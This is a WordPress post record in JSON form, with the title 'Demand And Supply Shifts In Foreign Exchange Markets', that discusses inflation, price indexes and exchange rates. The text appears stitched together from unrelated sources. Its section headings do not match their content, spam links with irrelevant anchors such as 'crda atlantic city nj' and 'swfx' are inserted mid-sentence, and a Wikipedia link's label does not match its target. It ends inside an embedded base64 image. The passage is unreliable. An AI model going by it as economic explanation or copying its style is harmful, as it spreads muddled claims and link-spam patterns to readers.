{"id":25017,"date":"2021-03-18T14:32:21","date_gmt":"2021-03-18T09:02:21","guid":{"rendered":"http:\/\/www.kirandhara.com\/?p=25017"},"modified":"2021-06-08T01:55:02","modified_gmt":"2021-06-07T20:25:02","slug":"demand-and-supply-shifts-in-foreign-exchange","status":"publish","type":"post","link":"https:\/\/kirandhara.com\/?p=25017","title":{"rendered":"Demand And Supply Shifts In Foreign Exchange Markets"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Table of Contents<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">What Impacts Inflation?<\/a><\/li>\n<li><a href=\"#toc-1\">Popular Currency Profiles<\/a><\/li>\n<li><a href=\"#toc-2\">Government Debt<\/a><\/li>\n<li><a href=\"#toc-3\">Central Bank Rates<\/a><\/li>\n<li><a href=\"#toc-4\">How Can Inflation Be Controlled?<\/a><\/li>\n<li><a href=\"#toc-5\">Historical Inflationary Periods<\/a><\/li>\n<\/ul>\n<\/div>\n<p>For instance, an increase in the price of wheat can push up the prices of wheat products like bread. A better example is the increase in the price of oil, which can have a significant impact on production costs and thus the retail prices of most goods in the economy. This type of inflation is called cost-push inflation because increased costs push up prices as opposed to where increased demand pulls up prices. As we will see below price inflation is primarily caused by \u201cmonetary inflation\u201d i.e. an increase in the money supply. The confusion comes in when we get lazy and fail to distinguish between monetary inflation and price inflation and simply refer to both as \u201cinflation\u201d. So, for example, if an apple costs $1 today, it&#8217;s possible that it could cost $2 for the same apple one year from today. This effectively decreases the time value of money, since it will cost twice as much to purchase the same product in the future.<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>Does inflation increase currency value?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>However, inflation is just one factor among many that combine to influence a country&#8217;s exchange rate. Inflation is more likely to have a significant negative effect, rather than a significant positive effect, on a currency&#8217;s value and foreign exchange rate.<\/p>\n<\/div><\/div>\n<\/div>\n<p>The quantity theory of inflation rests on the quantity equation of money that relates the money supply, its velocity, and the nominal value of exchanges. Inflation measures are often modified <a href=\"http:\/\/ivacco.com\/hammers-for-metal-fabrication\/\">swfx<\/a> over time, either for the relative weight of goods in the basket, or in the way in which goods and services from the present are compared with goods and services from the past.<\/p>\n<h2 id=\"toc-0\">What Impacts Inflation?<\/h2>\n<p>This article examines some of the leading factors that influence the variations and fluctuations in exchange rates and explains the reasons behind their volatility, helping you learn the best time to send money abroad. It is important because traders mainly use the PPI <a href=\"http:\/\/mygocenter.com\/best-free-trading-apps-in-2021\/\">forex ebooks<\/a> as an indicator of price inflation over time. Like many of the other factors influencing exchange rates, the converse reaction can also occur. If the exports rise by a smaller rate than the imports, the value of that country\u2019s exports and currency decrease in value.<\/p>\n<p>This could be &#8220;passed on&#8221; to consumers, or it could be absorbed by profits, or offset by increasing productivity. <a href=\"https:\/\/en.wikipedia.org\/wiki\/Stock_exchange\">https:\/\/en.wikipedia.org\/wiki\/QuickBooks<\/a> In India and the United States, an earlier version of the PPI was called the Wholesale price index.<\/p>\n<h2 id=\"toc-1\">Popular Currency Profiles<\/h2>\n<p>When a country experiences a recession, its interest rates are likely to fall, decreasing its chances to acquire foreign capital.  As a result, its currency weakens in comparison to that of other countries, therefore lowering the exchange rate.<\/p>\n<p>For example, a sudden decrease in the supply of oil, leading to increased oil prices, can cause cost-push inflation. Producers  for whom oil is a part of their costs could then pass this on to consumers in the form of increased prices.<\/p>\n<h2 id=\"toc-2\">Government Debt<\/h2>\n<p>The PCE index has a variety of goods and services that are part of household spending, but it does consult other indexes, such as the Department of Labor\u2019s consumer price and producer price indexes. Finally, there\u2019s money supply, which involves the Fed directly influencing the amount of money in circulation by issuing or calling in bonds, which helps reduce the amount of money in circulation.<\/p>\n<p>Tsiang noted that once substantial deflation is expected, two important effects will appear; both a result of money holding substituting <a href=\"http:\/\/18.219.221.3\/technical-analysis-definitive-guide\/\">crda atlantic city nj<\/a> for lending as a vehicle for saving. Moderate and stable inflation would avoid such a seesawing of price movements.<\/p>\n<h2 id=\"toc-3\">Central Bank Rates<\/h2>\n<p>To measure overall inflation, the price change of a large &#8220;basket&#8221; of representative goods and services is measured. This is the purpose of a price index, which is the combined price of a &#8220;basket&#8221; of many goods and services. The combined price is the sum of the weighted prices of items in the &#8220;basket&#8221;. A weighted price <a href=\"https:\/\/www.bing.com\/search?q=how does inflation affect currency\">how does inflation affect currency<\/a> is calculated by multiplying the unit price of an item by the number of that item the average consumer purchases. Weighted pricing is a necessary means to measuring the impact of individual unit price changes on the economy&#8217;s overall inflation. Those weighted average prices are combined to calculate the overall price.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD\/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD\/wAARCADMAWwDASIAAhEBAxEB\/8QAHQAAAAYDAQAAAAAAAAAAAAAAAwQFBgcIAQIJAP\/EAFwQAAIBAgQDBQMGCAgIDAQHAAECAwQRAAUGIQcSMQgTQVFhInGBCRQykaGxFSNCUmLB0fAkM1NykrK04TQ3OEN2gqLxFhcZRFVjc3WDk7PCGHSU0yYnKFZmpMP\/xAAcAQABBQEBAQAAAAAAAAAAAAAAAQIDBAUGBwj\/xABFEQABAwMDAgMGBAIGBgsAAAABAAIRAwQhBQYSMUETUWEHIjJScYEUFZGxI0IWJjNzodEXJCUn4fA0Q0Ryg5KywdLT8f\/aAAwDAQACEQMRAD8AtZFLHKCqncdVIsRvbod8bLA0YvTsE\/QP0fD6unhtudjjLQxygB1vboehHuPhjKrPF9Fu+UeDWDfA9D5b29+Pg9c4s3id1WdDFID7Jv6+Devl4+WBQ0sQtIDIoH01HtDbxHj8PPpj0csMv4s7NvdHFiR7vEeo2xuIHj3gf2f5Ntx8D1H2jbpgQtVhBXmpihjOxQ7ofCw8unu9MeXYGILzAg3hcjmt42JNiPf59R0xoZ6dqjul546rYlFt7Q67noRsfX3Y2eN5F5Mz5QnUGO6ptvcnqDsfIb4WELXmPNzUV5HQhWXxX0Nzva3Q777HGqxd9u7BW6CNdlB67X3B6XB2Nunjg00Doo5blVFlZAA6dfgw9LeHjjLGJ1LTBeUf50DYDrZh4fH7MKhF+7tdY1VeimM7KethbwO23hsLHqMbJN3YIJLRi\/ske3GNvDxG\/vAO+N3DRgRzglbWV13I8PW\/X6J\/2sayJygOXAA6OvS\/Tz8D4HfcgHwwISBmGRVuUVLZ5pi292npV3SUePKPP0+rywsZFntHn1O01ISk0du+hbYg42ilkuWQBEfcobrz79f0T4H1tsDthMzTT5mm\/DWnH+aZghuyW5Vk\/RYeB9enn5gQnHLDT1cLQVEKSxtsyOoIPvBw26nRs1DM1dpbMZKKW28LHmjb03v9t\/hg\/kOoYs456eeI0tfBtNA2x+F+o+7C0Df0PiMJ0QmvT6vqculFHqvL3opOgqEBaJ\/qv9l\/hhywTwVMSzU8ySxt0ZGBB+IxiengqomgqYUljbqrqCD8DiK+M+fw8DdCZnxNyiOoeHLngE2XpIOSXvJUiFuYG1i997+lsT2ttVva7LagJe8gAeZOAP1SgFxgKWMexS2n+UqyAQqKvhZmBlA9ox5kgU+4FLjB6g+Un0NJMq5nw1z2nhJ9p4KqGZgPRW5Afrx1zvZzudon8If\/ADM\/+Sn\/AAtb5VcTHsR5wm4\/cLONMEn\/AAH1EstbTrzz5dUp3NXEu3tGM\/SUXALIWW5tfEi2HljkruyuLCqaF0wseOoIgqFzS0weqIZ0okyyanJt845af\/zGCf8AuwamginhanmjDRuvKykbEYK5oBJPl9N+fVBz7kVnv9YXB+wxXTUnU8stBKlDWSM8b7U87G5P6DH87yPiPUHHq9DSK9Wic0LEPPGBfoQeYD3Cx9LHw3PT08NTC0E8YdHFiP36YJxSPGfwXmJ7wSgrFKRtKtt1bw5gPrG48bAQiOa0fLEVXcIA6MwLXUfrA2v1Isb7HDVymr\/4K6iCyNy0Vb7Lg2AU+B+F\/PofTDzo4XhpIaSayqQBGwsRHIBYoPS97elx5Xb2fZOammeN4ypVithc232Hhe1wel7E+JOHIT12I9+I7q6U6a1K0UbFKapPex3OxBI5k2\/SA+Hvw4tFZw1dl\/4NqbiroPxTgjqo2U\/q+BxrrnKZK\/LBWUyXno270b78o6gfv4DDQhC09uUFWLqg+gSBzIwuDsPzGbb9EfBQgkjdoZO+DEq0LW8ZBYkH1FmwgZJWxzU0M0ciSLIORwCCeb6W3ruyn3\/Ws3JjFRCyu6SI1z0IJ5WJt\/rG\/r5YchDLSJ86qJB7MjlZA69RdeX\/ANvQ4LZk34qKCrKpeohZZB9BuWRTbfoduh+F8HYnV6x\/AtGo5T1BUm\/9YY1rI4pGp45o0dXlI5WFxsjH9WEhCFtv0x6wwDyy0g\/Fhpob\/Qvdk9x8R6Hfy8BgaOSOZBJEwZT4\/fhqFqR5jBDMFFZKmVKbrIO8qPSK\/wBH\/WO3uDYPzSx08TzytZI1LMfIDBehgkSNp6hbT1Dc7j80eC+4D7bnxwJUKV8ALY05R5YGt6YwVGBEpHzTLYZWaqE00UvdlS0T8pI5W+u17jDW0\/lkb0glimlWQFhzRtZrcxHuI2Gx88Piti\/FMf0SPrB\/uw08hq6TLsnMlW6xgyye03mDsAPHcDbAlnCPU8mb0aGRoVrokASw\/FyqbXNwdibmx6dOmMU1fQVzWD8s62tHIO7fmPp5bk+PUeWDdDmVHnNCJqFpf4xkZnADc3Xf67\/DHqujpapOSup0ZALByv0fX0Y\/v5ER1QTIyJyMTLEty77XJ8bj9nutgMgTgv8AkeXmfX9mApcsr6Oz5dWkxg+xT1N3HwPUe7cDBebMBG\/Lm1JLRNsA6+1Gx9WG3wOHBIhpSTdYwD5t4D9uFiAWgjB\/NH3YSDURlAykSKejxbr8fL44V4TeGM\/oj7sZOrfC1Mf2QoinjP4qQSDf2ZPDy9ofrBwIlQikLMDESQAH2BJ6AHoT6dceFXSgG0ylgeXkG7Xte3L1v6Y27uoqAQ\/4mM9RsXI9fAePn7xjUTltK0DfiXXvHPtBFF29\/p79sarTVt+bv\/xf8jzb\/wBPr+\/XG0OXxUq8tETENzy\/SUnzIP6iMDCWRDyzQm17B4\/aH1dR9vvwIXozTMop2iVL3Hduo3tvt4H4Y27uaLeF+dfzHNz8G\/bf4Y3Hc1UW3JLG3uIOMCGaLeGTmH5khJ8PBuo3874VC1jChuWAmJ9yYnGx3F7D9Y233vja6PIOcGGbYAjo3pfo3Q+o9Med4ZbRVEZQk7B\/PwsfP3b4xIsqAxIgqFPWNzuB7+lvfv64OqFo7GnFpAoVjax\/i3P\/ALSfq9+NBC7NzIOViLmF7Hy9bMP7rEWtgWEMhbkcube3HJcMvuv4bHr188Z7tXHLCOUruYnuOX3HqvvG222FQgOUS\/xV733U3v06evu2Pw2OguCpV7MNgR4+Fvd+u3ToR2AchZQ5I3BA9sD1HiPUf34DkLAAOQxcDlkXcH3+m\/nfwudzhUJLznJ4s55JqZ\/muaRWMU6kr0v7J8xsduo38iMCZHn000\/4FzuP5tmUS7X+jMPzlPQ38v3B4xcgUEkqRzc4sTa3X1Hp4eg2JXNMspM5p1grQVlT2oahPpIwtcg+h6j6998IhLgIvYix8sQV23\/8mjVf\/aUH9thxJuU57WUFcMl1H7L3K01YUKrNa2246\/rxGPbeP\/6aNVg\/ylB8f4bDje2oP9vWX97T\/wDUFLR\/tG\/VU37EXDLQ3FXihnGQa\/yCPN6CmyCWsiheaSMLMKinQNeNlP0XYWJtvi1OvOwVwWz\/AC6VdIZZUaeripMckNXLIga23syswtfcjqfAjFfvk4f8dGf\/AOi8\/wDa6XHRjHoXtJ1\/VdL3EW2dw9jQ1hgOPGY+WYP3Cs3dR7Kvulccs9yvXXZ94rVGWx175dqPS9YrRVMDbG6h0ceDI6MpKm4KtYjqMdW+HHEnKddcLMm4n1E0GX0VdlorqtppAsVKUBE\/M52CoyuOY+AvigPygs2WS9oApQFDPFklGlby9RNzSML+vdNF8LYXM\/zzPtJdgPSsVHm9VCmqM0ny2anDbfN\/nVVKbHqobuQCPEOR0vjpN06Z\/THSdJu6gDa9ZzGkx2c0lx9QOPID\/NS1m+Oxjj1KeHFv5QyOm1AtNwj0xS1sFA0kYzPNufu6jmsC0cKFWA22ZmuQd1GGnkfyj3FWlzKJ9SaM0zX0NwZYaVJ6WZl\/RkaSQKfehwmdgDRWk9Q8Tc01HqmGnnbIKSNsviqEDRiplcgSb7cyqjcvq1xuBi3Pa64d6e1zwN1NWZnQQmv0\/l8ua0FX3Y72F4VLsqt15WVSpHTe\/UC2bqLdpbf1ant2pYeJPEOqFx5AviD\/AIgmC2OwTXijSeKRb905uCfHPRXHbTLZ\/pSd4qikZY8wy6cgT0cjC4DAdVax5XGzWPQggInaF7Rmg+BWUQxZ\/FLmmdZghkocpppAkrqDbvXffukDAgNYkkHlBs1qLdh3WFdpftB5Ll0MzCk1DFPltXGDswMbSRm3S4kjTfyJ88NDtMawr9bcdtZZpX1TypS5tPltNfolPTuYowo8BZeb1LE+OEoezC1G532byTatYKkTkyYDJ+oOesY65QLRvjcT06qWar5Q7jC5mSj0rpVKNpGZVnp6iSQBmJAZ1lUE+oVemwGJt4BdsnT3F\/NoNF63yiPItSV0axQTQuWpK+QA+yt\/aik39lSWDbgNcqMNXRvbK7MmiNH02hMo0HrEZRTUcVMUbLaHmmkUHnmk\/hFmd73Y23JPhtimuqc4yQa7zLP9ARVWW5Z+EnrMqjkURy0sfec8a2V3CldgLMeg3xt0NoafuBla0qaYbQtH8OpMz2BI\/QkGcTkHKeKDastLOPkV0x4rcTMl4GZenEDOQXQuKUUdNYNVzkE8iE7AeyTc7ALfc7YrbW\/KC8a9QVtfNo3hxka5dSoZnialqaySnhHV5ZEdFt+lyqMOLtk5VqXidwP4fcVctoJ3gjpEzDNKeBCywfOqeJucjqERlIB8BL4DEQdljtS0vZ\/XNclzvSbZvlGczxTyy00ipUwMqlTYN7Mi2P0SVsb77nGHtTall+RP1AWouroOLSwugDi6CB2mPezkyAFHRot8PnHI+SmXs89s6DVGpabRmu8opcpq81mMVJV0kjLSmRjeOJkckpdtgeYglrbXxcSmmWXeB7rOrRm1xynl8B6WG3mx8dsUo07ojsZ8W83mznQucZzlmoZaxq8ZRU1PzSW5YyEU62KHl3IVGblCdLb4uXldaXgiqkkA5uVmDC11vew8ttr+IGOF3xbaZb3rRp1B9Ake+x4iD2LZJkHPpjCr3AYHe4CPqljlWeeCrQlXMLcpvtvymxA649ITPU06leV4XMjr5DlK39R7WA1U07Q92FMazPzhB9FSGINvit\/rwNUQ97VQyI7I6xvysPevUeI9McT3VdGCPLBeWl\/GGenfu5j1Nrq3ow8fvwLHLzkxuoSReq36jzHmMYqZlp4WlI5iLBV\/OYmwHxNsJPmhJorYq\/MVyyQqj0342aPmB5mH0QD4gHc7A\/R88KZHlgGPL4vm\/dVCh3Y87uNiX8wRuLeHkAMBmaagFq1u8gHSe26j9MD+sNvMDqRCNcvrgCseOGHvJnCoDdiTYfH0wQ1HqGLIKRJ+4MzS3CWPsi1uv14jnM87zjPZDNVVJSEHZR7Ma+71+3CJwCc+a62SNDT0IEjk7SOPZAB8B4ncdfqwyKtXFRJGWuEdgBf18MbxLLCTJFHJJHYFmKkC3njdWaaqmlRAbMWJ6gXPhg6J3onPw+3jrYWXdGRrHrvcdPgP3OHaUYAMB9H8pugPnt1P2eHvY+ns1pslrHnrH5YpY+Qra7bdDbx8R8cKVJrJ8zz2noqekVaeRiv4w3fobHbYe6x8d8AzlMIhLjR8hLUq3J\/ONlPxtt8MAsve3jn\/AChYpawI\/XhQkiku13AB6co3H14KT0sMi8soL73NyeuBIkSpyWljkL0M70UzDYRHYn1TocLtMGWmiV2DMEUEgWubeWCjqYhYDmTzA3Hw8f32wdjIMaEEEco6e7GVquWtTHoymXUnP3rQh5bW71t3\/pdR1PTzwMsE0dhFUEqPyZBzbeQPX4m+MLVU4IV3MTHoJAVufS\/XBgDxv7saqeglmdABUQMh8Sntrf4b\/WBgeKSOVQ8Tq6noVNwcZXbGGpoJG7wpZyOXnUlWt5XG9sKheamjdjJYpIRbnQ2b+\/3HbGP4TF5TLv8AosBb6j9mMFKqMExyrKLbLILH+kP2Y0FYsl1kSSCMGxkYbN7mG1vU2wdULZaqGpZqeNlLDaRWFivwPXG8VKYB\/B5WAJuVc8w+HiPu9MCd3DLGF5FZNiBsR6EY17qWP+JluN\/Zk3+3r9d8EoWrOjhVqou7YEWN9r+jD6vA4y8cgA5gZgNwb8rj3H\/djbvwthOhjPS5+j9f7bYx3SxLzQP3a2+ja6293h8MKhBs4KHmvOqm4ttID7vr8vdjRYiOaRXEnN9IgX6bWZfG3wONvpkS1kXdSLcK6m4UE\/nbeQve3lvjdkkB5yS3T202a3hcdCNz+oYVCAsCeaM\/SP0Cbhj6Hz28bEW9MBsCPZiWxY+0pvt5n+\/1FwOuDF0dWZ+UC1mdRsbeDDw8ev1jAZVmHePYg\/QYNfbe1j9Wx89jfAhFquipK+jeir4e+hIFwbc0Z87+B\/SHW+K\/dseXNMo7O+pslrWarpZnoRS1J+ktquE8jjzsOv7ixJU3B8VOxAsR7vXxt9\/XDG4x8Mqfi\/w9zTh9U5xJlkOZGnvUxwiXkMcqSABSwG5QCxNt7g+GNbQLqlY6rbXVcwxlRjiesAOBOBlSUiGvBKoN2JuKGheE\/E\/N9QcQM+XKcvqchlo4pmp5ZuaY1EDhbRKxHsoxuRbbr0xbfWHbx4Aafymar09nlZqSvCN3FHSUM8IaSx5Q8kyIqqTa5HMQLnlPQw7m3yeGT5Q8dRNxOzCSi6TSJlKc8R6X5TLuL28dvvcOQ\/Jw6BkeGszPidnVfRuAwWkpIYGYeXMxk+7HrWvX+w9f1D8yvLmoXQBxa1wBj6snP\/eH2Vyo+2qu5uJVRag6+7SHF+eopKL55qHVNdz93GpEUCWAFyLlYo41ALHoqXN8Xg7UXA00XZOy\/R+loHqm0D82rxyj25o4o3Sokt7pZJSP0TbyxNPCrgbwz4MUElHoPTsdLNUACprpmMtVUAeDSNvbx5Vst97Xw+5JFijaVzZUUsT6DHPbg9on4u\/tHaZT4ULYgtaccoxkCYHH3QMwCfoI6l1yc3gMBcyOxJxY0bw44gZnk+vpqSkyfUlIkAraoDuqeojYmPnY7KrB3HMdgeW5AucWT7U\/G3h\/pPhJnem9J6+yzOa3UlG+Ww5ZTViVfdxSjleXmRiY1CFrc1wTYDxIT9Y9gLh5rxYNR6X1DV6Tq60GeogiplqqQljcGOMshj69A3L5AYbuT\/Jo5VFWRSZ\/xcqqqlV\/xkVJk6wSMt+gkaZwp9eU43b7VNma5qlPX7m4fTeOJdT4EyW9MgEdgDByB2Ujn0KjxVJg+ShrsJ6Kn1Lx3y7UEq8tBpqCasmkY2VpXjaOKMH84ly4HlG2Gb2n9GZjoPj1q2ir6MxxV2Zy5tR3HsSU9Q5lQr5gcxU+qsPDHT\/QHCXQXDPSUWitJ5DDBlqOZZBJ+MknmIAMsjndnNhv4AACwAGGnxn7O2kuMeTxZfqCOaaSi5jRVKyhKulv1CSkHmU2F0cMDbqCAcRW3tQoncr9QqsItnMFOP5gAZDiPqTI8j3IygvB43MjHRRxpKHsQ6r0llmsjkOgMtSaENXUlZJDFLRuULMkiMQ1wy8oNrNfa9xiBa\/jpwIzTWE2ktDdk\/TmdRVOYfMcqqUqTFLWXk5YnEZgJUtseU+djh1zfJ00HPIY+MU0HdKXamqdPgShQdyCKmzC19xttifOBXZA4bcEq9NSRy1GoNRxqyx5jWoqrT82xMMQuEJGxYlmsSAQCRhHaztjSadauy8rXTnfAwuqtDfKTLZ9TPTsSl8SiwE8ifTKbvHLtFHs20ul9MtwtFdQz0LUsZhzD5tAgpwE7pV7p\/ZCshUk3APTxMQadyXs29pDIqrPU0hQaQz2OZ\/nVDRV4inRb\/xqgKsbo1xuY9muPC7XC4ncLdG8W9P1OjNbZf8AOaOptUwOh5ZaadRy97E\/5LAMB5EFgQQSMVMzT5OHLjUzfgvizVQxJKV7mbJVmdF6rdxMga4sLhRufDwyNuant\/8AL+NW4qWl4Dmq01HB+Zy0EjoYIIGczkhR0nUuOSWu88qoGqKKk0jrfMaHSuf\/AD+nynMHWgzGA8pkWN\/YkBG19huLi42JFjjqxoCpzWDLKOiz4PDmEtHTzSRFSOV3iVmT0sSy2P7LQRwf7F\/DvQOuIMw13nFRqOoo5VkoY5KcU9J3qkFWkjuxfwYAsF8CD4WZ1vT1NM9PnlKrjuLRSlT+QTccw8QG5dvU4T2jbq0\/cH4e3siXmkDNQjjyJjoCAe0nAEnCLqs2rAbmO6WoalY4hUISQxj7wE3s9+Rj9m\/14Fu8Vba14Fj2N\/oFj93s\/D3dCOX1AeBpCe8UKWRQBexAIHvBU\/ZhSjXkqGuAY3RQhvfffb3dLfV7\/MFTQksKSgXuGU3Vh1U+mCkMxqazkmHKaa9tiFkboWW\/Ww28bFiPAEizy\/MwI+YASsEiJ35WPgb+Hj9nlcX5sndLGARybq19wfO\/n199zhEITHsBxO6sIai3OehGwceY9fTBPNc\/yrKEY1VQpdf82pBb+7CISVrHJUlyKb5uxjjibveQC6r5lfLruB9WGLkyrHX0q1KpJH3hj3F19obEfG+FLONcZpnCPSUkCwwOOUgG9x6n9xhPyxJRTciUxmZpFIuLIpB6hvP3Ya8wMqVidlXT0kUTuzLFCguxA88NiugeOEvCnzemJ\/z1lL+Psr1wvzFqjL6lGU7xkgeo3Hx2wnUxgnlnqatQ8hKOrMOblVhewv4DFdjoypiOyQR3oPOA4W2zONj8P9+BqOdqWpirIx38kTB7Mx5dvC3W2FutgimCmYXF\/ZYC7H3eAGEutpEU3hRyxNgVW\/MfXErakqMsTxyjUOU5wO7MEVPPewja2\/uNhf3dcKLoq7dyV8vZv92IxlSojISqBBv7\/wDdhfybVldTWgrFaphH5Rb21Hnc9fcfrxJKjLY6JzOYiSgdeby8fqwMv0RbyGA6avoMzhMtJUJIvQjoQfIjAoAUBQBYbbYy9U+Fv3UNTolRfdiK+0hxHzLgtwrq9d6Zy2inrKarp4lhn51hPeOFYkRstzv44lZRivnbx\/ydc0\/7xof\/AFRjstsW1G91q1t67eTHPaCPMEiQp6IDqgB81XSL5Rri6gIfSGk5PItDUA\/ZLi73CjiMnEfhrp7XstH3AzbL0qKjufajjnHsyoouWsJFcC46Ab45E5bp+bM9O5znkBv+BjTPML9IpXMd\/wCmYx8cX\/8Ak8dX\/h3hNmWlKut76fTWaN3MB\/zNNUDvEPxlFRv78eu+0jaOlWGkfjNLohjqbwHxPRw7yT3Lf1V66oMazkwdE9e1R2hKzgho3Ks20\/QZdmGY5vXmmjpa4PyGBULSOwVla4Pdjlv+Xv5YrR\/ykPFq1v8AgTpD\/wAqq\/8AvYC+UV1m2b8Vcn0XBVrJTadysSyRL1jqqluZwfUxJAbevritOtNOS6Q1Vmel6huabKpzSTHzkQAP\/tA41tkbK0a40W3qajQD61QF8mfhnHfyLf1T7e3pmmC4ZK7P0KpV0VPW8vdSTxpM3dmw5mUX28fjfA4FTHYXWVfG\/ssB9x+zDT1NrvJ+GXDqTW2q6mOPLMsoI5ZSm0jtygJGinZnZiFAuNyPDfFFNT9t\/tCcSNUfgnhPQfgeKdmjpKDL8vSvq5V\/OdpEe7W6lFUD4Xx47oWztS3IalS0DW0mEy95ho9JgkmOsDHeFRp0HVZLei6MCoj2EgaNiOji2\/lfofgcBinViHhYxKvQL9Fj5len7cc3q\/tRdsDhRmdLBxDlqHhlJdaTOsmhSKqUW5gJI0RmG4vyvtfF0Ozxx101x70hJnOTQPlWaZYY6fM8t5+YU7sCVZNrNG3K3KbA+yQemJtd2Nqeg2ovnltWicc6Z5ATgTgd8TkTiUtS3fTHLqPRSrzyptLHzL+cnu8R+y+MKkZuaeQKfEDcfEeH2HHP3j72uuO+guMWqdH6b1TSU+WZXW9zTRtlsEhVeRTbmZSx3J6nAmadp3tTcVqKml4M6fzMUGVZdTw5jmNHk0c0tVWiFDUG7KyqO85uWOMBuUgkb2Giz2Z6u+jSuX1KTadQB3JziAAQCOUt6mYAEpwtHkAyIKv1NcuBKpjPUyIdrA7D7fEW674zyug5lN1PiguD1uSv6x1vjm1oLt08c9G6mii4g1y6hy2GXua+hqqGKnqYwDZuR40QiRbHZ7jqCB1HQyo1lpWj0idfVObx0eS\/MBmZq5ByoadkEgfl8bqR0BO9hvjH3Hs3U9s1adO5AcKnwlhJBPl0BnPSM9kyrQfRInulVgnLzAKNrAc11Pop\/UfqwH3ZRbMLkj27i\/XY3B6j9nXwxQDXnbj4ycRNVrkHBPJjlVPLI0dHFDl6VuYVm30nRldBsL8qqeXf2mtfCLXdp3tg8Ic4o4+IzVZilYyx0mdZPFHHUr+UEljRW2vb2X9nb3Y36Pss1moxoqVKTKjhIpl\/vx9ACP8AGPMqQWdQjqJ8l0YYBgqN1foDcg+dvP3Hf7sI3cVenJGrsqQy0TnmqKIH6Hm8f7Pu6CP+HPGFeP3CLNNScOKoZTqaKklp2pZFSQ0WYBCyBg68skbEIQ4G6sRYMCBUDQ\/bV43Q8QcloNdakozlBzOGlzaOTLYYisJkCSsWRAwZRc36+zY3G2MjTNi6rqhuWU+LalDDmOJDuhIiAQZgxnP0ymMtnvkdwuj+XZjSZnSR1lHIHicfFT5H1wDqKZIMir3cgAwOn9IW\/XhGrKKqyyobN8k5RI5vUQE\/ipx5+QbxuP2jHPrUPbL4\/ay1lWae0Xm1OKHNM0NNlGXrl1O7lGmtBHzlbsx9kXJ3Ppiltzad9uh1X8GWtFMAuLiQMz5A+R\/RNpUXVp49l0oooRTUcFOvSKJUHwAGIp7T\/GLP+B3DRNa6cy3L66rbMoKLuq5XMfI6uSfYZTf2B44lDJIMypcmoKXOK8V1fDTRJVVIjVO+mCgO\/KoAW7XNgLC+K5fKE\/4gov8Av6j\/AKkuItrWdG8122tbgB7HPAI7ET9jlJRaHVAD5qCP+Uh4t\/8A7J0h\/wCVVf8A3sHMu+Um4hRTBs34d6dqYvFKaaeBj\/rMXA+rAHyeWktK6r1DrOHVOmsqziOnoqNoVr6OOoEZMklyocGxNh0xOHbC4M8I6XgVn2pKPR+RZHmeTiGeiq6CiipXaQyondkoBzqwYjlN97HqMeuan\/RGw11ugVdOkuLW8gT1eBGJnvnKvP8AAbU8MsUh8F+Omg+0fpaqqMlglo8woeRa\/LakK0tK7A8ro3R0JDAOADtuFO2JAyoZrBl1NKZmrAYlMkcpAkVrbgN0bfwb+ljm32CcyzGh7RWW0tEpMOYZbW01XYdIhEZRf\/xIo8L\/ABN7YvHrSPFPVulcl1XSQZZlWoa+jpo3yyncpClS6qCzISbAdScc1rHszrVNcq6fo7mhgYKgDycBxIiQDMEHr281DUtCahaz6roe1dDN3ciO0ckLAyROtnCnY3HkL3uNtuuKVdvviFxe0jrbIKLTGeZzkmnZssEiVOXTPAJ6vvXEiPIliSqiIhSbe1fx2ZHF7tj8YNc66zLLeEVbJS6boJ2hojRZalRNUxqSvfu0kbMvPuQBy2UgG5uTIva+7RvF7hBr\/J9MaJ1RBDRVGRw1s6y0EEzGo+czox5nQnbulHw9STJtraGp6DrFq+vTpVHVWPIY5xHGAPi9x0H3sYd3S0qD6bxIBJ7KVOBFXrbV3A7TuouIBqVzwRyc89TCY5pYElcQSuDa55ADzEXYEtuWJxNeXVcGo8leOpQCRlaGoQj6D2sf2jEOcDeJGqOIHZxTiHqrM4KjPRS5nOZ1p441BillVLxqAtvYQ7jf34p3oXtr8Y8l1TRVuoNRQTZQZkbMKeLLYFM0S9VWyCxI2BFuuMRuytT3DqF860axpovcHNBMTLsM93IxAmOyjFB9VzojBXQjJK+PLRJl+YylZKdzAzE+A3DD\/VBt4nfCvkeoaHNqurpYC1xZzzbX2AJFvC4+3HOXWvHHtW59BPr05fmWTZHUt85jNPlKGKOK1lYu6M5S35RPKb7WFhh29mjtZanq9f5dpniNUQVkWZSdxBXJCsMiyMLCN1QBWDdBYA8xF7jotz7NdWt7F99TqU6gYCXNY6XCMkdIkDqAfpKV1o8N5CCrlcZeKdJwd0BmHEDNsnlzWCieGBaaKUI0iyyKl7kEdWF\/QDzxHPAztiab4zZ5mWQw6Tr8o\/BtC1d3s1SkveAOicgCgb+3e58sV27Y3FzjBnWb6n0L+CqpeHiz0bQVD5UQtwkT\/wCEWsfxvMOvpiB+D2pOKGmNQVVdwqyeszHMnpTHPHTZa1ayw86m5RVNhzBRci29vHHUaL7O7W+2y+6q8DcO95juZDWghpAd2BGZBB6qWnah1KT1+qvl2qeK+vaDhbmNTw2aqo5lliWoqaZL1ENOT7cikboRsOYWKgkgi1xCvY1z7irrzMs8p8\/zLM83yaCJJEq8wmeQR1Jb6CyNubqGJUE25QbC+7s1prnifpHsv5bxLzJJMp1bPVJBUw1OXCLu1NRIoDQSL1KKh3HjfAvY3498RuK+pc\/yfXuc0tTQ5dl0c8CR0cNOEcyhbkoovt54ybfT7q12jfMFCk5rKhBqcjyBaWg8RwyPlPIYJx5jaZFFwICsfl+mli2rjHKq\/RRRZB7x4n1N8KclLFTRmZCIbA+IAAxSjtIdqfjJw94z6i0do\/U1JBlGX\/NPm0bZfTyleelhkb2mUk+07dThOqu0b2j+KFHQQcJcn